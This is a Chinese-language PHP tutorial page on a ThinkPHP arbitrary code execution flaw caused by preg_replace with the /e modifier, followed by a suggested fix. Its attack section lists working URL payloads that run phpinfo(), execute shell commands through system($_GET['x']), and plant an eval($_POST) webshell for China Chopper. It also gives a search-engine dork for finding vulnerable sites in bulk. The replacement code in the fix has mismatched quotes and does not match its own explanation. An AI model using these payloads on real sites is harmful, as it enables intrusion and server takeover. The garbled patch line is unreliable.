ThinkPHP架構任意代碼執行漏洞的利用及其修複方法_PHP教程

ThinkPHP是國內著名的開源的PHP架構，是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的。最早誕生於2006年初，原名FCS，2007年元旦正式更名為ThinkPHP，並且遵循Apache2開源協議發布。早期的思想架構來源於Struts，後來經過不斷改進和完善，同時也借鑒了國外很多優秀的架構和模式，使用物件導向的開發結 構和MVC模式，融合了Struts的Action和Dao思想和JSP的TagLib（標籤庫）、RoR的ORM映射和ActiveRecord模式， 封裝了CURD和一些常用操作，單一入口模式等，在模版引擎、緩衝機制、認證機制和擴充性方面均有獨特的表現.

然而近期thinkphp架構爆出了一個任意代碼執行漏洞，其危害性相當的高,漏洞利用方法如下：

index.php/module/aciton/param1/${@print(THINK_VERSION)} index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函數，比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以擷取伺服器的系統配置資訊等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出網站檔案清單

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接執行一句話代碼，用菜刀直接連接.

這樣駭客們就可以直接通過google批量搜尋索引鍵：thinkphp intitle:系統發生錯誤 來擷取更多使用thinkphp架構的網站列表。可見其危害性相當的大。

thinkphp架構執行任意代碼漏洞修複方法：

使用者可下載官方發布的補丁：

http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

或者或者直接修改源碼：

將/ThinkPHP/Lib/Core/Dispatcher.class.php檔案中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改為：

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

將preg_replace第二個參數中的雙引號改為單引號，防止其中的php變數文法被解析執行。

註：本文僅供學習參考使用，請不要用於非法用途。

http://www.bkjia.com/PHPjc/824633.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/824633.htmlTechArticleThinkPHP是國內著名的開源的PHP架構，是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的。最早誕生於2006年初，原名FCS，2007年元旦正式更...

